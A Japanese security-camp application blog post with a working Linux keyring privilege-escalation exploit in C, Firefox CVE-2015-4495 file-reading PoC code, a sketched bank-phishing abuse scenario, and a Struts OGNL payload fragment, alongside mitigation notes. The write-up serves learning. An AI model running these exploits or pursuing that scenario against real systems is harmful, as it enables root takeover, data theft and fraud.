#include <time.h> 
#include <sys/ipc.h> 
#include <sys/msg.h> 

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 
/* TODO the address */ 
_commit_creds commit_creds = (_commit_creds)0xffffffff8108b710; 
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)0xffffffff8108b9a0; 

struct key_type { 
  const char *name; 
  size_t def_datalen; 
  void *vet_desc; 
  void *preparse; 
  void *free_preparse; 
  void *instantiate; 
  void *update; 
  void *match_preparse; 
  void *match_free; 
  void *revoke; 
  void *destroy; 
}; 

/* key_revoke(struct key *key) */ 
void exploit(void *key) 
{ 
  commit_creds(prepare_kernel_cred(0)); 
} 

int main(int argc, char *argv[]) 
{ 
  if (argc != 2) {
    fprintf(stderr, "usage: %s <key>", argv[0]); 
    return -1; 
  }

  int pid;
  size_t i = 0;
  unsigned long l = 0x100000000/2;
  key_serial_t serial = -1;

  /* prepare key_type structure */
  struct key_type *m_key = malloc(sizeof(struct key_type));
  m_key->revoke = (void *)exploit;

  /* set msg_msg structure, is 0xb8 size */ 
  int msgid; 
  struct msg_tail { 
    long mtype; 
    char mtext[0xb8-0x30]; 
  } msgp = {0x4141414141414141, {0}}; 

  memset(msgp.mtext, 'A', sizeof(msgp.mtext)); 
  *(int *)(&msgp.mtext[56]) = geteuid();/* key->uid */ 
  *(unsigned long *)(&msgp.mtext[72]) = 0x9;/* key->flag */ 
  *(int *)(&msgp.mtext[64]) = 0x3f3f3f3f;/* key->perm */ 
  *(unsigned long *)(&msgp.mtext[80]) = (unsigned long)m_key; 
  if ((msgid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { 
    perror("[-] msgget"); 
    return -1; 
  } 

  serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]); 
  if (serial < 0) { 
    perror("keyctl"); 
    return -1; 
  } 

  if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | 
             KEY_GRP_ALL | KEY_OTH_ALL) < 0) { 
    perror("keyctl"); 
    return -1; 
  } 

  printf("uid = %d, euid = %d\n", getuid(), geteuid()); 
  fprintf(stderr, "[+] increfs...\n"); 
  for (i = 1; i < 0xfffffffd; i++) { 
    if (i == (0xffffffffUL - l)) { 
      sleep(5); 
      l = l/2; 
    } 
    if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]) < 0) { 
      perror("keyctl"); 
      return -1; 
    } 
  } 
  sleep(5); 

  for (i = 0; i < 3; i++) { 
    if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]) < 0) { 
      perror("keyctl"); 
      return -1; 
    } 
  }
  fprintf(stderr, "[+] finish increfs\n"); 
  sleep(10); 

  fprintf(stderr, "[+] fork...\n"); 
  for (i = 0; i < 64; i++) { 
    pid = fork(); 
    if (pid == -1) { 
      perror("[-] fork"); 
      return -1; 
    }

    if (pid == 0) { 
      sleep(2); 
      if ((msgid = msgget(IPC_PRIVATE, 0644 | 
                          IPC_CREAT)) == -1) { 
        perror("[-] msgget"); 
        exit(1); 
      }
      for (i = 0; i < 64; i++) { 
        if (msgsnd(msgid, &msgp, 
                   sizeof(msgp.mtext), 0) == -1) { 
          perror("[-] msgsnd"); 
          exit(1); 
        }
      } 
      sleep(-1); 
      exit(1); 
    } 
  } 

  fprintf(stderr, "exploit...\n"); 
  sleep(5); 
  if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) 
    perror("[+] keyctl_revoke"); 

  printf("uid = %d, euid = %d\n", getuid(), geteuid()); 
  execl("/bin/sh", "/bin/sh", NULL); 
  return 0; 
}

刺さった:
f:id:deltatan:20170615231910p:plain

以下、疑問点と工夫した点です。
Debian の環境では拍子抜けするぐらいにうまくいきましたが、そうではない環境もあるみたいです。
例えば、最初に

という環境を使って何回も検証して、全くうまくいかないことを確認しています。usage を 0 にしても、ガーベジコレクションが走りません。結果どういう理屈かわかりませんが、msgsnd を呼んだ回数の、64回がそのまま usage に反映されるだけで終わります。これはもう、カーネルのデバッガでも使って直接内容を覗くしかないと思います。今回、そこまではできませんでした。

結局この環境ではどうやってもうまくいきませんでしたが、検証していく中で、検証にかかる時間を短縮するために、join_session_keyring関数内部の else if (keyring == new->session_keyring) の中に、以下のステートメントをはさむことを思いつきました。

if ( atomic_read(&(keyring->usage)) == 3 ) 
  atomic_set(&(keyring->usage), 1); 

この実装のカーネルを使うと、1回 join_session_keyring を呼ぶだけで、いい具合に usage が 0 になるはずです。30分かかるはずの検証を一瞬で終わらせることができます。Debian の環境では、このカスタムカーネルで root を取ることができたので、すぐに「これはいけるかもしれない」と判断することができました。

さて、対策の方法ですが、まずはバグが修正されたカーネルにアップデートするべきです。原因を根本的に断つことができます。しかし、修正済みカーネルが配布されるまでは、Zero-day 攻撃が成立する状況にさらされたはずです。その状況下では何ができたのでしょう。今回の攻撃には、権限を昇格させるために commit_creds と prepare_kernel_cred のアドレスが必要になりました。Ubuntu 14.04 では Kernel Address Display Restriction がデフォルトでかかっていて、/proc/kallsyms にあるアドレスが全部、0000000000000000 にマスクされていました。なので、root権限なしではアドレスを確認することができませんでした。しかし、Debian 7.9 ではデフォルトでこの制限が有効にされておらず、アドレスを簡単に見つけることができました。また、SMEP や SMAP がデフォルトで無効になっているのは、古い OS や CPU を使っている状況以外に考えられません。提供されている防御機構は全て有効にして、防げる攻撃を阻止したり、必要でない情報はなるべく一般のアカウントからは隠蔽したりするのも、ひとつの対策だと思います。そしてそのためにもやはり、ハードを含め、アップデートは欠かすべきではないでしょう。

また、この攻撃は Key has expired とか Killed とか、revoke の際に条件が整わずにやたら失敗します。攻撃者は何回か攻撃を繰り返す必要があるでしょう。従って、不自然に何度も繰り返し実行されているプロセスを監視することで、攻撃を検知し、やめさせることができるかもしれません。


選択 A-7

私は、Firefox にかつて存在した、Same Origin Policy をバイパスして、任意のファイルを閲覧できる脆弱性: CVE-2015-4495 を選びました。この脆弱性は、実際にウクライナのサーバーにホストして使われていたところを発見されました。攻撃は以下の 2つのバグを使っています。

1. https://bugzilla.mozilla.org/show_bug.cgi?id=1179262
2. https://bugzilla.mozilla.org/show_bug.cgi?id=920515

それぞれ、

1. pdf.js を介しての JavaScript の実行
2. SOP のバイパス

というバグです。今回は脆弱性を再現するため、

https://github.com/vincd/CVE-2015-4495

にあった PoC を使いました。攻撃が成功すると、ルートディレクトリ以下のファイルやディレクトリが、アラートで表示されるはずです。少し複雑な脆弱性で、情報も少なかったので、所々理解の至らない部分があると思いますが、大目に見てください。お願いします。

まず、2番目のバグから説明します。上のサイトを読み込むと、object という要素が作られます:

pdfBlob=new Blob([''], { type:'application/pdf' });
blobURL = URL.createObjectURL(pdfBlob);
object = document.createElement('object');
object.data='data:application/pdf,';
if(hidden) {
object.style.display='none';
object.width=1;
object.height=1;
}
object.onload = (function() {
sandbox_context_i = setInterval(get_sandbox_context,200);
object.onload=null;
object.data='view-source:' + location.href;return;
});
document.documentElement.appendChild(object);

object は、空の PDF を持ち、ロードされた際に、get_sandbox_context を呼びます。get_sandbox_context の実装は以下の通り:

function get_sandbox_context() {
if(my_win_id==null) {
for(var i=0;i<20;i++) {
try {
if(window[i].location.toString().indexOf("view-source:")!=-1) {
my_win_id=i;;break;
}
} catch(e) {}
}
};
if(my_win_id==null) return;
clearInterval(sandbox_context_i);

object.data='view-source:' + blobURL;

window[my_win_id].location='data:application/x-moz-playpreview-pdfjs;,';

object.data='data:text/html,<html/>';

// Insert snd beforebegin frameElement
window[my_winid].frameElement.insertAdjacentHTML('beforebegin', '<iframe onload="' + (function() {
window.wrappedJSObject.sandboxContext = (function(cmd) {
with(importFunction.constructor('return this')()) {
return eval(cmd);
}
});
}) + '"/>');
}

バグレポートの中では詳しく触れられていませんでしたが、この部分は https://bugzilla.mozilla.org/show_bug.cgi?id=920515 が参考になると思います:

I created and added an embed element to the document of a page initially setting the src attribute for the embed to 'data:application/pdf,'. This triggers the pdfjs implementation and begins to load it to preview the plugin. Immediately after I created an iframe element and appended it as a child of the embed element. Normally when previewing a pdf as a plugin, an anonymous iframe is created as a child of the embed element, but apparently any iframe that is a child of the embed element will behave as if bound to it for previewing.

iframe.contentWindow.location = 'data:application/x-moz-playpreview-pdfjs;,';
This triggers code in PdfRedirector.js that is part of the pdfjs implementation

参考点: PDF を開くときに、適当な iframe がその要素の中に作られる。
参考点: iframe.contentWindow.location = ‘data:application/x-moz-playpreview-pdfjs;,'; は、PdfRedirector.js のコードを実行する

今回は PDF 入りの object の中に iframe が作られています。
これを window[my_win_id].frameElement で取得し、その前に自前の iframe を追加しているようです。

しかし、なぜコードが実行されるのかはよく理解できませんでした。このバグは 1番目のバグレポートで修正され、関係する部分が根こそぎ削除された模様です (https://github.com/mozilla/pdf.js/pull/6169/files)。ともかく、こうすると追加した自前の iframe の onload関数 (<iframe onload="...) が、PDF を開く際に実行されます。その結果 sandboxContext プロパティに、JavaScriptコードを実行させるための関数が保存されます。このプロパティは window.wrappedJSObject に保存されているため、同一ウィンドウの JavaScriptコードからは参照が可能であると思われます。

準備が終わると、次は sandboxContext プロパティにスクリプトを渡して SOP をバイパスします。start が呼ばれると get_dir が呼ばれ、get_dir は get を呼びます。ここからが今回の脆弱性の肝です。

https://bugzilla.mozilla.org/show_bug.cgi?id=1178058 によると、

Once you have access to these references one who looks will notice that the prototypes accessible from the ownerNode of the style sheet are prototypes which provide access to native methods. Here I'm tracing the __proto__ chain up to the Object prototype and using the native __lookupSetter__ method to bypass restrictions on windows that I shouldn't have access to.

だそうです。ウィンドウのスタイルシートの ownerNode はプロトタイプで、ネイティブメソッドにアクセスを許してしまいます。__proto__チェーンでオブジェクトのプロトタイプまでたどり着き、そこから __lookupSetter__メソッドを呼んでやれば、ウィンドウへの干渉が可能になります。get の実装はこんな感じです:

function get(path,callback,timeout,template,value){
    callback = _(callback);
    if(template && value) callback = callback.replace(template,value);

    proto_prefix="file://";
    var invisible_code="";

    js_call1='javascript:'+invisible_code+_(function(){
        try {
            open("%url%","_self");
        } catch(e) {
            history.back();
        } undefined;
    }, "%url%", proto_prefix+path);

    js_call2='javascript:' + invisible_code + ';try{updateHidden();}catch(e){};' + callback + ';undefined';
    sandboxContext(_(function() {
        p = __proto(i.contentDocument.styleSheets[0].ownerNode);
        l = p.__lookupSetter__.call(i2.contentWindow,'location');
        l.call(i2.contentWindow, window.wrappedJSObject.js_call1);
    }));
    setTimeout((function() {
        sandboxContext(_(function() {
            p = __proto(i.contentDocument.styleSheets[0].ownerNode);
            l = p.__lookupSetter__.call(i2.contentWindow,'location');
            l.call(i2.contentWindow,window.wrappedJSObject.js_call2);
        }));
    }), timeout);
}

js_call1 には、「i2 へのロケーションをセットし、そこで file:/// を参照する」スクリプトが保存されています。それを最初に作った sandboxContext に渡して実行してもらいます。このとき、i2 の中にはルートからのファイルやディレクトリが保存されています。

js_call2 には、「i2 へのロケーションをセットし、そこで内容をパースする」スクリプトが保存されています。これも sandboxContext に渡して実行してもらいます。js_call1 を実行した時点で得られた情報をパースして、アラートで表示します。

さて、任意のファイルを閲覧できるなら色々と使い道が思い着きますが、私が悪用するなら、別オリジンのサイト・個人に特化させ、情報を抜くのに使うと思います。例えば、最初に特定のオンラインバンクを装ったメールをばら撒きます。そこにはもちろん、この脆弱性を突くサイトへのリンクを貼っておきます。そのサイトでは iframe の幅をいい感じにして、オンラインバンクのサイトを違和感なく表示させます。パスワードなどは取れないかもしれません。しかし、口座の残高、取引の記録などは取れるはずです。しかも、私は任意のスクリプトを書き込むことができます。最悪、振り込みページにアクセスさせた瞬間に、現金を私の口座に振り込ませたりすることもできる訳です。
今回使った PoC のように簡単にはいきませんが、入念に細工すればそれ以上の情報が手に入ると思います。


所感

とりあえず、いかにも死ね! セキュリティ・キャンプ( ´◉",益;"◉) みたいに書いてますが、全然そんなことないです。むしろその感情は、いつまでも成長できない自分自身に向けている部分が大きいので、ご理解ください。

あと選択問題なんですが、一度読むと、A-5 だけ異様にネチネチと書かれていることに気がつくと思います。まぁゴールデンウィークをぶっとばしやがった問題なので、これぐらい書かないと割に合わないかなーと。
に対して A-1 はやばいと思います、はい。そもそもパケットキャプチャをバイナリで保存するってことを知らなかった時点で負けでした。つらい。
「え? なにこの解読不能な文字列。。。とりあえず無視しとこう」的なノリで致命的な判断を下した自分を、オライリー出版の「データ分析によるネットワークセキュリティ」の角でぶん殴ってやりたい


追記。去年落ちたときの応募用紙

共通 1.1

HogeHoge という団体の、アプリ作りに参加しました。HogeHoge は、要らない本を交換するサービスです。アプリを使って本の一覧を見たり、カテゴリやキーワードで検索したりすることができます。このアプリは、Appcelerator というプラットフォームを使って作りました。iPhoneAndroid に対応しています。


共通 1.2

開発に使用した Appcelerator という環境では、JavaScriptXML を使って開発をします。MVC の概念や、各種モジュールを使って本アプリを作りました。


共通 1.3

特にないです。


共通 2.1

先ほどのアプリで、非同期通信時に複数の AJAX通信をする場合、通信が確立した順番に onload のコールバック関数が実行されるため、引っ張ってきたデータの順番を担保することができませんでした。この性質が、本の名前とサムネイル画像を表示させる機能を実装するとき問題になりました。本の固有ID を配列に入れ、要素を 1つずつサーバーに投げて、返ってきたサムネイル画像の URL を新しい配列に格納していく、という処理です。ループでこのリクエストを回すと、固有ID の格納される順番と、URL の格納される順番がずれる可能性があります。URL を引っ張ってくる通信の順番がわからないからです。これらの配列を本情報を表示させる関数に渡した結果、「本の固有ID に紐付いた本の名前と、サムネイル画像が別のものになる」というバグが生じてしまいました。


共通 2.2

このバグに対処するために、サーバーに固有ID を投げると、URL だけではなく、投げられた固有ID も含めて配列で返すように、サーバー側の関数を変更しました。そして、1つの通信が終わった後、すぐに本情報を表示させる関数を呼ぶことで、固有ID とサムネイル画像を紐付けることに成功しました。自分で色々試してみてこの方法に行き着きました。


共通 2.3

別の開発環境を使ってほしいです。同期通信をすればそれで済んだのですが、この環境ではできません。


http://qiita.com/YusukeHirao/items/bca14c5f2fe4026fd4d7
他にも jQuery を使えば順番を保証させることができますが、同じくこの環境では使えません。そもそも用意されているモジュールなども微妙だったりするので、Xamarin などを使って開発すべきだと思います。

共通 3.1

1-D Dissecting Malware - x86 Windows malware analysis を受けたいです。Mac で選択問題8 を解こうとしたのですが、アセンブルがうまくいかず、肝心のアセンブリの解析まで手が回りませんでした。とても悔しかった。ここでわからないまま、放置したくないなと思いました。アセンブリ言語機械語と 1対1 に対応しているので、勉強すれば、コンピュータがやっていることをより詳しく理解できるようになると思います。もちろん、マルウェアの動作にも興味があるので、自分にとって意味のある講義です。他にも、1-C, 3・4・5F や 7-C など、幅広く講義を取っていきたいと考えています。

共通 3.2

将来情報セキュリティ関連の職に就くことを考えています。ただ漠然と考えるだけでは何も進まないので、今回のセキュリティ・キャンプ全国大会に応募することにしました。僕が欲しいのはきっかけです。僕の周辺にこの方面に詳しい人はいなくて、何をすればいいのかわからない状況でした。この状態から脱却し、自分でサイバーセキュリティの勉強ができる程度の基礎力を身に付けたいと思っています。


選択 1

メモリのアドレスが全然違うという点に気づきました。hoge は単純に配列の、スタック上の先頭要素のアドレスを指していますが、fuga はポインタなので、その中には fuga 自身とは別のアドレスが入るはずです。ここでは malloc を使い、自分でメモリ領域を確保しています。別々の領域のアドレスを表示させているために、このような結果になっているのだと思います。


選択 3

CPU に解釈してもらう前に、主記憶にプログラムを読み込ませているから。電源を入れたとき、ROM 上に記憶された BIOSEFI などのファームウェアが主記憶に読み込まれ、実行されます。ファームウェアは必要な初期化をし、補助記憶上のブートローダを同じく主記憶に読み込んで実行させます。ブートローダは OS のカーネルを同じように実行させ、ようやく OS が立ち上がります。ちなみに、ファームウェアの設定を保存・変更できるのは、ファームウェア本体が保存されている ROM とは別に、もう 1つ書き換え可能な記憶装置があるからです。


選択 5

まずは OS についての考えですが、自分は、 「ハードを制御し、基本的なシステムを提供するプログラム」だと思っています。例えば OS が提供している API などでアプリケーションの開発を行う場合、普通、周辺機器やハードの制御を考える必要はないですよね。この辺の仕事は OS がやってくれているので、自分の仕事に集中できる、というわけです。

なので、OS が無い、という状況は考えられない。というか、なかったら面倒な環境になると思います。ただの箱とまでは言いませんが、1から全てプログラムを組まなければならないのは、とても労力が必要な作業です。

また、汎用OS については、「広く浅く使える OS」という認識です。一方、組み込みOS に対しては、組み込むハードに特化した OS 、もしくはそこまで機能が必要とされていない OS という印象を持っています。ただしその分、乗っているシステムは、安定した稼動を求められることが多いと思います。安定させるためにシステムの複雑度を下げ、バグの原因を減らし、結果軽量化されている側面もあるのではないでしょうか。


選択 11

CVE-2015-4024
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4024
https://bugs.php.net/bug.php?id=69364
PHP が HTTPリクエストヘッダを解析する際、悪意のあるリクエストにより、CPUリソース・メモリを食いつぶしてしまう (DoS攻撃を受ける) 可能性がある、という脆弱性です。

検知方法としては、

  • 攻撃を受けている途中なら、$ps aux | grep httpd 等のコマンドを打って、本当に httpd のプロセスがリソースを食っているのか調べる
  • カーネルのログを見てみる。Linux系の OS なら、プロセスが異常な状態になると、カーネルのログに ps コマンドの結果も残してくれるので。

といったものがあると思います。

この脆弱性について調べることにしたのは、「DoS攻撃はサーバーやネットワークに対して過剰な負荷をかけるもの」という認識があったので、「脆弱性を突いて DoS を成立させる」という性質をおもしろいと思ったからです。また、自分自身、PHP のコードを書くので、無関係とは言えないという理由もありました。



ぐはっ( ິཫ ິ ) いやこれは落ちるわ。
分量が今年の 7分の 1 ぐらいしかないし、なにより内容がうっっっっすい。無、ヌル。

そして共通問題 2.3 の回答は何なんだろう笑
問題が起きたら環境ごと屠るというソリューション。頭の中がパーリーピーポーすぎる。

まぁ今の成長を考えると、案外、去年祈ってもらっといて良かったのかもですね。

*1:#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class